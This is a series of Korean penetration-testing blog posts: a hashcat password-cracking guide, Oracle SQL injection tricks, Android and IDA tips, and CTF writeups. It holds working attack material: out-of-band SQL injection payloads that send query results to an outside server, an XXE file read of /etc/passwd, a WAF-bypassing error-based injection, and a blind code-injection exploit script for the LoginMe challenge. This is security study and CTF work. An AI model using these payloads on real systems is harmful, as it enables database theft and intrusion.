[개정판] "윈도우 시스템 해킹 가이드: 버그헌팅과 익스플로잇" 출간 안내
안녕하세요. hyunmini 입니다.
초판이 모두 판매되어 절판되었던 "윈도우 시스템 해킹 가이드: 버그헌팅과 익스플로잇" 개정판이 출간되었습니다!!
2019.12.05 부터 온/오프라인 서점에서 구매 가능합니다.
https://book.naver.com/bookdb/book_detail.nhn?bid=15909324
개정판에서는 크래시 분석 자동화, DBI, Win10 x64 Exploit, 브라우저 Infoleak, OOB Exploit 기술 등 다양한 내용이 약 100여 페이지에 걸쳐서 추가되었습니다.
많이 부족하지만 윈도우 환경에서 초급-중급 시스템 해킹 기술을 공부하는데 도움이 되길 바랍니다.
(개정판 추가 내용)
Section 05. 버그헌팅 자동화
1. 바이너리 분석 자동화
2. Dynamic Binary Instrumentation
3. Taint Analysis
4. Crash 분류 자동화와 중복 제거
5. Code Coverage 높이기
Part 07. 고급 Exploit 기법
Section 01. x64 Exploit
1. x64 의 이해
2. syswow64 exploit
3. windows 10 x64 exploit
Section 02. 웹브라우저 Exploit
1. 웹브라우저 메모리 보호기법
2. CVE 취약점을 활용한 Infoleak
3. Godmode 를 이용한 Exploit
'Windows System Hacking' 카테고리의 다른 글
[번역] Smashing The Browser: From Vulnerability Discovery To Exploit (0) | 2017.11.15 |
---|---|
Internet Explorer 10 Exploit - God mode (0) | 2017.06.07 |
쉘코드 인코더 구현 / GetPC - 현재 실행 코드(eip, pc) 구하는 방법 (1) | 2015.01.12 |
Windows Heap Internals (0) | 2014.12.17 |
Paimei - pstalker 모듈 소개 (0) | 2013.06.19 |
hashcat 간단 정리
가끔 인젝션으로 해쉬값을 빼낸 후 크랙을 해야 할 경우가 있다.
(거의 대부분 데이터베이스에 비밀번호는 해쉬값 또는 암호화 해서 넣어놓기 때문에 사실 거의 필수적으로)
john-the-ripper 를 가장 많이 쓰고 또 유명하지만 간혹 점검 환경에 의해 사용하지 못할수도 있기에 hashcat 도 간략히 정리해둔다.
hashcat 기본
hyunmini@~$ hashcat -h
hashcat - advanced password recovery
Usage: hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...
- [ Options ] -
Options Short / Long | Type | Description | Example
================================+======+======================================================+=======================
-m, --hash-type | Num | Hash-type, see references below | -m 1000
-a, --attack-mode | Num | Attack-mode, see references below | -a 3
-V, --version | | Print version |
-h, --help | | Print help |
--quiet | | Suppress output |
--hex-charset | | Assume charset is given in hex |
--hex-salt | | Assume salt is given in hex |
...
옵션이 어마어마하게 많기 때문에 가장 중요한 몇가지만 정리해둔다.
-m : 크랙하려는 해시가 어떤 것인지 지정
# | Name | Category ======+==================================================+================================
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
1300 | SHA-224 | Raw Hash
1400 | SHA-256 | Raw Hash
...
-a : attack mode, brute/dictionay/hybrid 등
- [ Attack Modes ] -
# | Mode
===+======
0 | Straight
1 | Combination
3 | Brute-force
6 | Hybrid Wordlist + Mask
7 | Hybrid Mask + Wordlist
3 은 무작위 대입, 6은 워드리스트 + 마스크 요 2개 정도가 많이 사용될 듯 하다.
mask 는 문자열 타입을 지정해주는 기능인데, 아래와 같이 미리 지정된 문자열 셋이 있고, 직접 지정해줄 수도 있다.
Charset (mask 지정시 사용)
- [ Built-in Charsets ] -
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff
?l?l?l // 소문자로만 이루어진 3개의 글자 - ex: abc, adm, tes,...
?l?l?l?d // 소문자 3글자, 숫자1글자 - ex: abc0, kkk5,...
?l?l?l?l?l?l?l?s // 소문자7글자, 특수문자1글자 - ex: testabc!,...
...
-D : 크랙 연산에 사용할 processing unit 지정(CPU, GPU)
# | Device Type
===+=============
1 | CPU
2 | GPU
3 | FPGA, DSP, Co-Processor
GPU 있다면 2, CPU 면 1 로 지정. 가끔 디바이스가 없다며 에러가 날 때가 있는데, --force 옵션을 추가로 적어주면 그냥 CPU로 지정되는듯 하다.
이외 유용한 옵션들
--pw-min 6 --pw-max 9 // 크랙 시도 문자 길이 지정
경험상 10자리 이상은 일반 PC에서는 크랙이 어려움. 다만 dictionary + brute 라면 어느정도 크랙 가능, 또는 GPU로 돌리면 10자리 정도도 어느정도 크랙 가능
-i --increment-min=4 --increment-min=8 // mask 길이값을 변경해가면서 시도함
사용 예시
# hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a // bruteforce 6 length
# hashcat -m 0 -a 1 hash.lst dict.txt // combine(dictionary + straight ?)
# hashcat -m 1400 -a 6 hash.lst dict.txt ?l?l?l?l?l?l?a?a // hybrid ( dict + brute mask )
이상. 또 필요한 부분이 있으면 정리..
'Pentesting' 카테고리의 다른 글
kali 한글 및 apt-get 에러 해결방법 (0) | 2016.08.25 |
---|---|
모의해킹에서의 파워쉘 활용 (0) | 2016.02.27 |
msfpayload 백신 탐지 우회 (2) | 2016.02.25 |
모의해킹을 편하게 해주는 유용한 취약점(1) - 톰캣 관리자 페이지를 이용한 웹쉘업로드 (0) | 2014.04.30 |
Metasploit 개발을 위한 문서&사이트 (0) | 2012.09.02 |
SQL인젝션 - XXE를 이용한 OOB
최근 SQL인젝션을 다양한 방법으로 확장 공격해보고 있는데, XML 함수를 이용하여 마치 XXE 처럼 공격할 수 있는 방법이 있어서 정리해둔다.
BlindSQL 인젝션
ex) 7777 and 1=1 from dual--
OOB (Out of Band)
OOB란 외부 채널로 데이터를 빼내는 방식을 말한다. blind 일때 데이터를 빼내려면 쿼리를 6~7번 해야 겨우 1글자를 알아낼 수 있는 반면, OOB를 이용하면 쿼리1번에 데이터를 다 뽑아올수도 있다. 즉 속도 면에서 Blind 방식 대비 훨씬 빠르다는 장점이 있다.
ex) and 1=(select utl_http.request('http://www.secuholic.com/'||(select user from dual)) from dual) from dual --
이렇게 하면 www.secuholic.com 웹서버에 (select user from dual) 의 결과값인 hyunmini 가 추가된 GET요청을 날리게 되고, 서버에서 웹로그를 확인하면 해당 쿼리의 결과를 확인할 수 있게 되는 원리이다. 같은 원리로 dns 요청을 날리는 방법도 존재한다.
XXE(XML eXternal Entity)
XXE는 몇년 전부터 이슈가 되었던 취약점으로, XML파서를 공격하는 데 주로 사용되는 공격방법이다. 정확히는 external entity 는 원래 있는 기능이고, 이를 악용하면 파일 읽기, 폴더 읽기, SSRF 등 다양한 악성 행위가 가능한 취약점이다.
ex) XXE 예시
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<tag>&xxe;</tag>
XXE 를 이용한 SQL인젝션 OOB (SQL인젝션 + XXE)
오라클에서 xmltype 함수를 이용하여 XML 을 사용할 수 있는데 이때 XXE 를 활용할 수 있다. 즉 아래와 같은 방법으로 오라클의 xml parser 에게 외부 서버로 OOB 를 날리도록 하여 쿼리 결과를 받을 수 있다.
7777 and 1=((select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://x.x.x.x/'||(SELECT user from dual)||'">%remote;]>'),'/l') from dual)) FROM DUAL-- |
결과값을 받을 외부 서버에서)
# python -m SimpleHTTPServer 53
Serving HTTP on 0.0.0.0 port 53 ...
x.x.x.x. - - [09/Nov/2018 10:48:25] code 404, message File not found
x.x.x.x - - [09/Nov/2018 10:48:25] "GET /hyunmini HTTP/1.0" 404 -
위와 같이 GET 요청에 쿼리 결과값이 포함되어 날아오는 것을 확인할 수 있다.
웹해킹은 여전히 심오하다. 끝.
'Web Hacking' 카테고리의 다른 글
xmltype() 함수를 이용한 Oracle Error Based SQL Injection (0) | 2018.08.15 |
---|---|
javascript 로 객체 메소드 목록 확인 (0) | 2016.08.03 |
php 의 연산자 취약점 (1) | 2016.07.28 |
PHP "==" 연산자 취약점 (1) | 2016.01.12 |
신뢰할수 없는 SSL경고 사이트 프록시 적용 - Burp 인증서 등록하기 (1) | 2015.06.21 |
IDA Hexray 문자열이 제대로 보이지 않을때 옵션 설정방법
IDA Hexray
간혹 헥스레이에서 문자열이 "test1234" 대신 atest 요런 식으로 변수명으로 나와서 불편할 때가 있다.
이런 경우 설정방법.
요렇게 문자열 대신 변수명으로 나올때
헥스레이 옵션에서 "Print only constant string literals" 옵션 체크 해제
이제 잘 보인다.
'Reversing' 카테고리의 다른 글
암호학 정리(for CTF) (0) | 2018.04.05 |
---|---|
WinDBG 고급 명령어들 (0) | 2017.06.07 |
DBI - pin & pintool (4) | 2017.05.22 |
DBI - Frida 를 이용한 DBI (3) | 2016.09.07 |
Embedded 기기 리버싱 - 펌웨어 리버싱 (1) | 2016.07.14 |
Android 패킷 캡처를 위한 iptables 명령어 정리
안드로이드 패킷 포워딩(burp 등으로)용 iptables 명령어 정리.
보통 proxydroid, autoproxy 등 자동 설정 apk 를 이용하면 되지만 80, 8080, 443이 아닌 경우
리다이렉트가 안되는 경우가 있다. 그런 경우 직접 아래와 같이 iptables 로 세팅해줄 수 있다.
# iptables -F // 전체 삭제
# iptables -L -t nat // nat 리스트
아래는 proxydroid 포트로 리다이렉트 하는 경우.
# iptables -A OUTPUT -t nat -p tcp --dport 10443 -j REDIRECT --to-port 8124
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
REDIRECT udp -- anywhere anywhere udp dpt:domain redir ports 54358
RETURN tcp -- anywhere 192.168.43.187
REDIRECT tcp -- anywhere anywhere tcp dpt:http redir ports 8123
REDIRECT tcp -- anywhere anywhere tcp dpt:https redir ports 8124
REDIRECT tcp -- anywhere anywhere tcp dpt:5228 redir ports 8124
REDIRECT tcp -- anywhere anywhere tcp dpt:10443 redir ports 8124
'Android Hacking' 카테고리의 다른 글
Frida 권한 오류 해결 (0) | 2018.09.11 |
---|---|
bypass proxy check using frida (4) | 2017.08.08 |
모바일 앱에서 frida timeout error 해결 방법 (1) | 2017.07.26 |
DBI on Android - ADBI(Android Dynamic Binary Instrumentation) (1) | 2016.02.14 |
error: only position independent executables (PIE) are supported 에러 해결 (2) | 2016.02.05 |
Frida 권한 오류 해결
간만에 점검용 폰을 새로 세팅해야 할 일이 있어서 간략히 정리.
# 세팅 순서
- custom recovery 설치, custom rom 설치
- magisk, su 설치(루팅)
- gdb, frida... (점검용 툴들)
다 잘 되다가.. frida 에서 뜬금없이 오류가 떠서 당황..
$ frida-ps -Uai
Failed to enumerate applications: failed to execute child process “/data/local/tmp/re.frida.server/frida-helper-64” (Permission denied)
검색해보니 동일한 오류를 겪은 선구자(?) 들이 있었고 검색 후 해결할 수 있었다.
(삼성계열 폰에서 selinux policy 와 관련해 자식프로세스 생성 시 발생하는 문제라고 하나 정확히 알아보진 않음.)
몇번의 시도 후 성공했는데, 결론적으로 아래와 같이 /system/priv-app 폴더로 복사해주면 해결된다.
$ frida-ps -Uai
PID Name Identifier
----- ---------------------------------------------- -------------------------------------------------
11267 AhnLab V3 Mobile Plus 2.0 com.ahnlab.v3mobileplus
4398 Android Services Library com.google.android.ext.services
6857 BadgeProvider com.sec.android.provider.badge
21975 CMHProvider com.samsung.cmh
4158 CSC com.samsung.sec.android.application.csc
...
잘 됩니다.
'Android Hacking' 카테고리의 다른 글
Android 패킷 캡처를 위한 iptables 명령어 정리 (0) | 2018.09.12 |
---|---|
bypass proxy check using frida (4) | 2017.08.08 |
모바일 앱에서 frida timeout error 해결 방법 (1) | 2017.07.26 |
DBI on Android - ADBI(Android Dynamic Binary Instrumentation) (1) | 2016.02.14 |
error: only position independent executables (PIE) are supported 에러 해결 (2) | 2016.02.05 |
xmltype() 함수를 이용한 Oracle Error Based SQL Injection
오랜만의 webhacking 포스팅이다.
This short article is about webhacking.
Oracle Error Based SQL Injection
Oracle Error Based SQL Injection 공격시 주로 utl_inaddr.get_host_name() 함수를 이용한다.
I usually use utl_inaddr.get_host_name() functions when Oracle Error Based SQL Injection.
ex) utl_inaddr.get_host_name( (select user from dual) )
=> 'hyunmini' 호스트를 찾을 수 없습니다.
=> 'hyunmini' host not found.
이번 타겟은 웹방화벽에서 get_host_name 함수를 차단하고 있어서 해당 함수를 사용이 불가능했기에 다른 방법을 찾아보았다.
This Target was blocking the get_host_name function in the WAF, so I tried another way.
조금 찾아보니 역시 다른 방법이 몇가지가 있었다. 이번에 테스트 해본 방법은 xmltype() 함수이다.
After googling, I found some other ways. One way is to use the xmltype() function.
(참고 : https://gist.github.com/xassiz/7aa20b670d7e44da665c3e28f216a927)
(Reference: https://gist.github.com/xassiz/7aa20b670d7e44da665c3e28f216a927)
ex) vulparam=1 and (select ''|| xmltype('<'||regexp_replace(utl_raw.cast_to_varchar2(utl_encode.base64_encode( utl_raw.cast_to_raw( (select+global_name+from+global_name) ) ))||'%3ax>',chr(10)||'|'||chr(13)||'|%3d',''))||''+from+dual)-- |
끝!
The End!
'Web Hacking' 카테고리의 다른 글
SQL인젝션 - XXE를 이용한 OOB (3) | 2018.11.09 |
---|---|
javascript 로 객체 메소드 목록 확인 (0) | 2016.08.03 |
php 의 연산자 취약점 (1) | 2016.07.28 |
PHP "==" 연산자 취약점 (1) | 2016.01.12 |
신뢰할수 없는 SSL경고 사이트 프록시 적용 - Burp 인증서 등록하기 (1) | 2015.06.21 |
Google CTF 2017 ascii art writeup
Google CTF 2017 - ASCII Art Writeup
이번에는 리버싱 문제중 하나인 aart 를 풀어 보았다. 결론부터 말하면 허무하게 풀려버렸다;
이번 문제는 바이너리와 패킷 덤프가 주어졌다.
# file aart_client
aart_client: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=220420b2d90546e195ca6df0119e299f3ad28514, stripped
바이너리를 IDA 로 열어보면 protobuf 관련 클래스가 많이 나오는데, 검색해 보니 객체 등의 다양한 자료들을 송수신 하게 해주는 google 에서 만든 라이브러리이며 게임 등 실무에서도 많이 사용된다고 한다.
패킷을 열어보면 바이너리와 서버가 주고 받은 패킷임을 알 수 있는데, 자세히 보면 내용이 동일한 패킷이 주기적으로 보내진 것을 알 수 있다. 아마도 바이너리의 HELLO 문자열과 관련된 패킷일 것으로 생각된다.
즉 HELLO -> Message 전송의 형식으로 통신을 한 것으로 볼 수 있다.
처음엔 바이너리를 좀 분석하다가... 실행하려면 서버가 필요해서 웹서버를 만들어서 시뮬레이션(?) 해 보기로 했고, 아래와 같이 간단히 코딩하여 소켓으로 응답을 돌려줬다.
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import SocketServer seq = 0 msg_0 = '''787e7f756d667e7c7c15787e70746d667e7c232b4c5c57405554435d5851555b5549505a554e405b545c4f51405c545b4f5449432b193931''' msg_1 = '''54795e5e2c5d2c2c2c2c2c2c2c2c5e5d135e53535353535353535479535d2f532c5d2c2c2c2c2c2c2c2c5c5d5353135d5353535353535479535d53535353532f5353535353535353535c53535353135d535353535c795353535c53535353532f535353535353535c53535353532f2f5353537953530f53535353535353532f535e545e5e5c1353535353535353535353530f79534e5d5e5e5e5e0d0d0d0d5c0d535353532f530d0d0d0d5e0d5e5e4e5e535d7953492e4949494949490f4953532c5a535b0f5349494949494949495328535354795e4e5e5e5d5e2c2c2c2c532f505353532c5c2c2c5d2c5e5e5e5e134e53530f7953535e0d2c5d5353532f58535e5e585e535353535353535353530f53535354795d5e532c53530d535d5e5c53530f53532f0f535353535353535c5c5353537953530f5d535e542c5d53535c530f5353530f532f534e54134e53535d0d535353530f7953530f530d5d53535c535353530f5353530f2f532c2c0d535c5d535353537953530f53532f0f5d535e5e530d0f5353530f5353535e0d5d5e5c535353535353532f795c2c5353532f53532c530f2c53530f532c2c53535353535c5353535353532c7953535353532f53535353530f5353530f53535353535c53535353535379532f2f53530f0f2c2c0f2c530f5c53535c53535353535353532f79532f0f0f53530f53530f5c5c535353535353535353532f790f2f530f53530f0f5c5c5353535353535353535379532c2f530f53532c0f535c535353535353535353537953532c53535353532c5353535353535353535353537979b97716690a061e1d171f1b091112031f101f041a111f160a1b1e1605110a1e1e0905530370617b''' msg_2 = '''787e7f756d667e7c7c15787e70746d667e7c232b4e564150525b5d5e57504b5e48405558534158505141494a564d515848564b562b193931''' msg_3 = '''037e6c612e496c67446c3c2e7168746c772e6c6c2e65667a6d686e6c652e2e6c6c772e6f2e6262702e746277576b457840571931746c7b6a686167646d6a7164727a6f62697b626a6b7b73706c776b62726c716c11230b7a''' msg_4 = '''787e7f756d667e7c7c15787e70746d667e7c232b53545f485c515349545449564e4f4f554353485a4d504e4d50404d545c5c514f2b193931''' msg_5 = '''54795e5e2c5d2c2c2c2c2c2c2c2c5e5d135e53535353535353535479535d2f532c5d2c2c2c2c2c2c2c2c5c5d5353135d5353535353535479535d53535353532f5353535353535353535c53535353135d535353535c795353535c53535353532f535353535353535c53535353532f2f5353537953530f53535353535353532f535e545e5e5c1353535353535353535353530f79534e5d5e5e5e5e0d0d0d0d5c0d535353532f530d0d0d0d5e0d5e5e4e5e535d7953492e4949494949490f4953532c5a535b0f5349494949494949495328535354795e4e5e5e5d5e2c2c2c2c532f505353532c5c2c2c5d2c5e5e5e5e134e53530f7953535e0d2c5d5353532f58535e5e585e535353535353535353530f53535354795d5e532c53530d535d5e5c53530f53532f0f535353535353535c5c5353537953530f5d535e542c5d53535c530f5353530f532f534e54134e53535d0d535353530f7953530f530d5d53535c535353530f5353530f2f532c2c0d535c5d535353537953530f53532f0f5d535e5e530d0f5353530f5353535e0d5d5e5c535353535353532f795c2c5353532f53532c530f2c53530f532c2c53535353535c5353535353532c7953535353532f53535353530f5353530f53535353535c53535353535379532f2f53530f0f2c2c0f2c530f5c53535c53535353535353532f79532f0f0f53530f53530f5c5c535353535353535353532f790f2f530f53530f0f5c5c5353535353535353535379532c2f530f53532c0f535c535353535353535353537953532c53535353532c5353535353535353535353537979b9771e6902191b1503161e191c1e05031f04190510091a0207070a041e1a16070516531b70617b''' msgs = [msg_0, msg_3, msg_2, msg_1, msg_4, msg_5] class S(BaseHTTPRequestHandler): def _set_headers(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() def do_GET(self): self._set_headers() self.wfile.write("<html><body><h1>hi!</h1></body></html>") def do_HEAD(self): self._set_headers() def do_POST(self): # Doesn't do anything with posted data global seq self._set_headers() print self.rfile.read(int(self.headers['Content-Length'])) self.wfile.write(msgs[seq]) seq += 1 def run(server_class=HTTPServer, handler_class=S, port=80): server_address = ('', port) httpd = server_class(server_address, handler_class) print 'Starting httpd...' httpd.serve_forever() if __name__ == "__main__": from sys import argv if len(argv) == 2: run(port=int(argv[1])) else: run()
그러자... 아스키 비행기가 나왔다.
# ./aart_client 127.0.0.1
_ _
/_| |_\
//|| ||\\
// || || \\
// ||___|| \\
/ | | \ _
/ __| |__ \ /_\
/ .--~ | | ~--. \| |
/.~ __\ | | / ~.| |
.~ `=='\ | | / _.-'. |
/ / \| |/ .-~ _.-'
| +---+ \ _.-~ |
`=----.____/ # \____.----='
[::::::::| (_) |::::::::]
.=----~~~~~\ /~~~~~----=.
| /`---'\ |
\ \ / \ / /
`. / \ .'
`. /._________.\ .'
`--._________.--'
그리고...몇번 더 실행해보니 플래그가 나왔다 -_-;;;;;
# ./aart_client 127.0.0.1
CTF{That-was-a-lot-of-monkey-foot-work?-Good-Job!}
다른 풀이를 찾아보니 이건 꼼수고.. 제대로 된 풀이는 protobuf 프로토콜을 분석해서 flag 헥스값을 디코딩해서 키를 추출하는 식이었다. 어쨌든 풀었으니 이건 다음에 -_-;
'CTF Writeup' 카테고리의 다른 글
0ctf 2018 - LoginMe Writeup (0) | 2018.04.10 |
---|---|
codegate 2018 miro writeup (0) | 2018.02.06 |
codegate 2018 Impel Down writeup (0) | 2018.02.06 |
codegate 2018 - rbsql writeup (0) | 2018.02.06 |
Codegate 2017 - babypwn (0) | 2017.02.28 |
google ctf 2017 - food.apk Writeup
Google CTF 2017 - Fook.apk Writeup
끝난지 좀 됐지만 공부겸 google ctf 2017 의 문제중 안드로이드 문제인 food.apk 를 풀어봤다.
주어진 apk 는 정상 실행이 안되어서 정적 분석을 먼저 해 보았는데, 실행되고 바로 libcook.so 라이브러리를 호출해 주고 있었고 별다른 코드가
보이지 않았다.
so 파일을 들여다 보면 아래와 같이 dex 파일을 새롭게 생성해 주는 것을 볼 수 있다.
하지만 해당 파일을 바이너리에서 복사해서 붙여넣고 디컴파일을 시도하면 가장 중요한 함수인 cc() 함수가 제대로 보이지 않는다.
so 를 다시 살펴보면 마지막 부분에서 아래와 같이 특정 부분을 xor 해주는 것을 볼 수 있다.(0x720 오프셋 부터 0x90 byte)
해당 바이트를 가져와서 0x5a 로 xor 해서 원본 코드를 확인해 보자. python 으로 간단히 만들어 줬다.
그 후 뽑아냈던 dex 파일의 0E 로 채워진 부분들(0x720 오프셋) 을 위에서 xor 한 값으로 채워주고 다시 디컴파일을 해 보면 정상적으로 cc() 함수가 보인다.
cc() 함수. 어떤 입력값을 비교한 후 맞으면 flag 를 출력해준다. 굳이 실행시킬 필요없이 flag 출력함수인 R.C() 를 분석하기만 하면 flag 를 추출할 수 있다.
# R.C 인데..약간 복잡하긴 하지만 상관없다. 그대로 갖다 쓰면 되니까 ㅎ
라고 생각하고 파이썬으로 대강 작성한 후에 돌려봤더니 아래처럼 일부 플래그만 나오는 이상한 현상이 발생했다(ㅠㅠ)
�TF{�aco��l�ttu��_����to_l�bst��������
몇번의 삽질을 한 후 찾은 버그는 바로 자바 소스에서 (byte) 캐스트 때문에 char 형으로 강제 형변환이 되면서 발생한 문제였다.
파이썬과 약간 처리 방식이 다른듯 했다. 결국 % 256 연산을 통해 음수가 나오지 않도록 해주니 제대로 나왔다. 아래는 전체 python 소스이다.
# solve_food2.py
print "[*] google ctf 2017 : food.apk " print "[*] get this.k array.." flag = [ -19, 116, 58, 108, -1, 33, 9, 61, -61, -37, 108, -123, 3, 35, 97, -10, -15, 15, -85, -66, -31, -65, 17, 79, 31, 25, -39, 95, 93, 1, -110, -103, -118, -38, -57, -58, -51, -79 ] compareArr = [0x13, 0x11, 0x13, 0x03, 0x04, 0x03, 0x01, 0x05] bArr = [26,27,30,4,21,2, 18, 7] for i,c in enumerate(compareArr): print hex(c^bArr[i]) # 0x9 0xa 0xd 0x7 0x11 0x1 0x13 0x2 this_k = [0x9, 0xa, 0xd, 0x7, 0x11, 0x1, 0x13, 0x2] this_k = [9,10,13,7,17,1,19,2] print "[*] get Flag!" def r_c(arr1, arr2): v7 = 256 v3 = [None]*v7 v4 = [None]*v7 v0 = 0 v1 = 0 while v1 != v7: v3[v1] = v1 v4[v1] = arr2[v1 % len(arr2)] v1 += 1 v2 = v1^v1 v1 = 0 while v2 != v7: v1 = v1 + v3[v2] + v4[v2] & 255 v3[v1] = (v3[v1]^v3[v2]) % 256 v3[v2] = (v3[v2]^v3[v1]) % 256 v3[v1] = (v3[v1]^v3[v2]) % 256 v2 += 1 v4 = "" v2 ^= v2 v1 ^= v1 while v0 != len(arr1): v2 = v2 + 1 & 255 v1 = v1 + v3[v2] & 255 v3[v1] = (v3[v1]^v3[v2]) % 256 v3[v2] = (v3[v2]^v3[v1]) % 256 v3[v1] = (v3[v1]^v3[v2]) % 256 v4 += chr((arr1[v0] ^ v3[v3[v2] + v3[v1] & 255]) % 256) v0 += 1 return v4 print r_c(flag, this_k)
실행해보면 flag 를 확인할 수 있다.
hyunmini@~/2017.googlectf/food$ python food_flag2.py [*] google ctf 2017 : food.apk [*] get this.k array.. 0x9 0xa 0xd 0x7 0x11 0x1 0x13 0x2 [*] get Flag! CTF{bacon_lettuce_tomato_lobster_soul} |
끝! (ps. 간만의 안드로이드 리버싱 문제라서 반가웠다.)
0ctf 2018 - LoginMe Writeup
0CTF2018 - LoginMe
참가는 못했지만 나중에 접속해서 0ctf 2018 문제중 하나인 LoginMe 를 풀어보았다.
I didn't participate but I tried to solve LoginMe which is one of 0ctf 2018 tasks.
https://ctf.0ops.sjtu.cn/login#task-28
웹 로그인 창 하나가 주어지고, 소스코드도 주어졌다.
web login window is given, and the source code is given.
# loginme.js
var express = require('express') var app = express() var bodyParser = require('body-parser') app.use(bodyParser.urlencoded({})); var path = require("path"); var moment = require('moment'); var MongoClient = require('mongodb').MongoClient; var url = "mongodb://localhost:27017/"; MongoClient.connect(url, function(err, db) { if (err) throw err; dbo = db.db("test_db"); var collection_name = "users"; var password_column = "password_"+Math.random().toString(36).slice(2) var password = "xxxxxxxxxxxxxxxxxxxxxx"; // flag is flag{password} var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')}; myobj[password_column] = password; dbo.collection(collection_name).remove({}); dbo.collection(collection_name).update( { name: myobj.name }, myobj, { upsert: true } ); app.get('/', function (req, res) { res.sendFile(path.join(__dirname,'index.html')); }) app.post('/check', function (req, res) { var check_function = 'if(this.username == #username# && #username# == "admin" &&
hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}'; for(var k in req.body){ var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1}); if(!valid) res.send('Nope'); check_function = check_function.replace( new RegExp('#'+k+'#','gm') ,JSON.stringify(req.body[k])) } var query = {"$where" : check_function}; var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}} dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){ if(e) throw e; res.send('ok'); // ... implementing, plz dont release this. }); }) app.listen(8081) });
코드를 보면 node js 의 웹 프레임워크인 express 를 이용한 웹 서버임을 알 수 있다. 코드중 중요한 부분은 아래와 같다.
web server using express module, the web framework of node js. An important part of the code is:
1) password 칼럼명이 랜덤하게 바뀜
password column name changes randomly
ex)
this.password_qqxnativaup
this.password_kt1g716pi4
2) 내가 입력한 request 변수와 값을 이용해서 nodejs 코드가 동적으로 만들어진 후 실행됨
nodejs code is dynamically created and executed using the request variable and value I entered
for(var k in req.body){ var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1}); if(!valid) res.send('Nope'); check_function = check_function.replace( new RegExp('#'+k+'#','gm') ,JSON.stringify(req.body[k]))
}
ex) (POST) username=admin&password=123 로 전송하면 아래와 같이 동적으로 구문을 만들어줌
send "username=admin&password=123", server dynamically generates the code as shown below.
- for 문을 돌면서 차례대로 #username# => admin, #password# => 123 으로 입력
after running for loop, #username# => admin, #password# => 123
k:username
if(this.username == "admin" && "admin" == "admin" && hex_md5(#password#) == this.password_qqxnativaup){
return 1;
}else{
return 0;}
k:password
if(this.username == "admin" && "admin" == "admin" && hex_md5("123") == this.password_qqxnativaup){
return 1;
}else{
return 0;}
결론적으로 입력값에 # 을 삽입하면 저 구문을 꼬이게 할 수 있다는 뜻이다.
In conclusion, it's possible inserting '#' in the input value to attack.
하지만 소스상에서 #, ), ( 문자는 아래 소스코드에 의해 필터링이 되고 있다.
but #, ), ( characters are filtered by the source code below.
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
이 필터링은 배열로 값을 보내면 우회가 가능하다. ( username[] = 123 )
filter can be bypassed by sending an array instead of a value.
다양한 삽질 끝에 아래와 같은 방식으로 SQLi 처럼 Blind 방식의 node js 코드 인젝션이 가능함을 확인했다.
After various attempts, I confirmed that node.js code injection of blind method like SQLi is possible in the following way.
True: username[]=admin#test&test.*md5.[]=] || 'a'=='a' ? 1 : alert() || (#pass&pass.*=test&password=555 False: username[]=admin#test&test.*md5.[]=] || 'a'=='b' ? 1 : alert() || (#pass&pass.*=test&password=555 |
참일 때는 에러가 나지 않도록 하고, 거짓일 때는 alert(없는 메소드라고 에러발생) 을 이용해서 에러를 발생시켰다.
If true no error, if false an error is output.
아래처럼 입력한 자바스크립트 구문이 참일 때만 ok 가 오고, 거짓일땐 서버 에러가 발생해서 응답이 오지 않는다.
It only be 'ok' if the JavaScript syntax is true, and if it is false, get a server error and no response.
이제 스크립트를 작성해서 플래그를 한글자씩 뽑아오면 끝!
Now, write a simple python script and get the flags one by one!
# exploit_loginme.py
#!/usr/bin/python from socket import * import time #target = ('202.120.7.194', 8081) target = ('127.0.0.1', 8081) def request(p): c = socket(AF_INET, SOCK_STREAM) try: c.connect(target) except: time.sleep(0.2) c.connect(target) req = '''POST /check HTTP/1.1 Accept-Encoding: gzip, deflate Content-Length: {} Host: 127.0.0.1:8081 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko {} '''.format(len(p)+2,p) #print req c.send(req) res = c.recv(300) #print res try: t = res.index('ok') return True except: return False ### flag length - 32 #param = 'username[]=admin#test&test.*md5.[]=] || this[Object.keys(this)[3]].length == 32 ? 1 : alert() || (#pass&pass.*=test' #print request(param) ### flag flag = '' for i in range(32): for j in range(48,127): param = 'username[]=admin#test&test.*md5.[]=] || this[Object.keys(this)[3]].substr({},1).charCodeAt() == {} ? 1 : alert() || (#pass&pass.*=test'.format(i,j) print "[*] trying.." + param if request(param): print '\n==================' print chr(j) flag += chr(j) print '\n==================' break time.sleep(0.4) print "[+] flag: \nflag{" + flag + "}"
끝!
the end!
ps. node js 를 CTF 때만 간혹 보고 거의 안써봐서 조금 헷갈렸던 문제였다..공부해야지!
'CTF Writeup' 카테고리의 다른 글
Google CTF 2017 ascii art writeup (0) | 2018.04.18 |
---|---|
codegate 2018 miro writeup (0) | 2018.02.06 |
codegate 2018 Impel Down writeup (0) | 2018.02.06 |
codegate 2018 - rbsql writeup (0) | 2018.02.06 |
Codegate 2017 - babypwn (0) | 2017.02.28 |
